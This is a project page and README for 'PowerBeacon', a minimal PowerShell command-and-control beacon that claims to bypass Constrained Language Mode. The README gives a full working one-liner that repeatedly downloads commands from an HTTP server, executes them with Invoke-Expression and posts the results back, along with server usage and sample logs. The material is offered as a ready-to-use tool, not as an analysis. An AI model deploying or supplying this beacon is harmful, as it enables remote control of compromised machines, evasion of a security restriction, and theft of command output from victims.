https://github.com/redh00k-k/powerbeacon

Simple script of reading and execute command from http in PowerShell (and bypass CLM: Constrained Language Mode).
https://github.com/redh00k-k/powerbeacon

beacon bypass-clm powershell

Last synced: 26 days ago
JSON representation

Simple script of reading and execute command from http in PowerShell (and bypass CLM: Constrained Language Mode).

• Host: GitHub
• URL: https://github.com/redh00k-k/powerbeacon
• Owner: Redh00k-k
• Created: 2024-08-19T15:35:09.000Z (3 months ago)
• Default Branch: master
• Last Pushed: 2024-08-24T02:49:41.000Z (3 months ago)
• Last Synced: 2024-10-13T00:01:38.720Z (26 days ago)
• Topics: beacon, bypass-clm, powershell
• Language: Python
• Homepage:
• Size: 3.91 KB
• Stars: 1
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# PowerBeacon

This is simple script of reading and execute command from a http in PowerShell.

# Usage

## Server

```

$ cat tasks

echo test

whoami

$ python3 server.py -i 127.0.0.1 -p 8888 

Serving HTTP on :: port 8888 ...

# Client accesss and execute the contents of /tasks. The result is forwarded to the server.

127.0.0.1 - - [20/Aug/2024 00:00:10] "GET /tasks.txt HTTP/1.1" 200 -

127.0.0.1 - - [20/Aug/2024 00:00:10] "POST / HTTP/1.1" 200 -

test

MyPC\User

```

## Client

```

PS > beacon_http.ps1  

```

If you want to run in CLM(Constratined Langage Mode), use 'beacon_oneliner.ps1'

```

PS > while ($true) {$url="http://127.0.0.1:8888";$response = Invoke-WebRequest -Uri $($url + "/tasks.txt");$results = Invoke-Expression $response.Content;Invoke-WebRequest -Method Post -Uri $url -Body $($results -join "`n") -ContentType "application/text" > $null ;Start-Sleep -Seconds 10}

```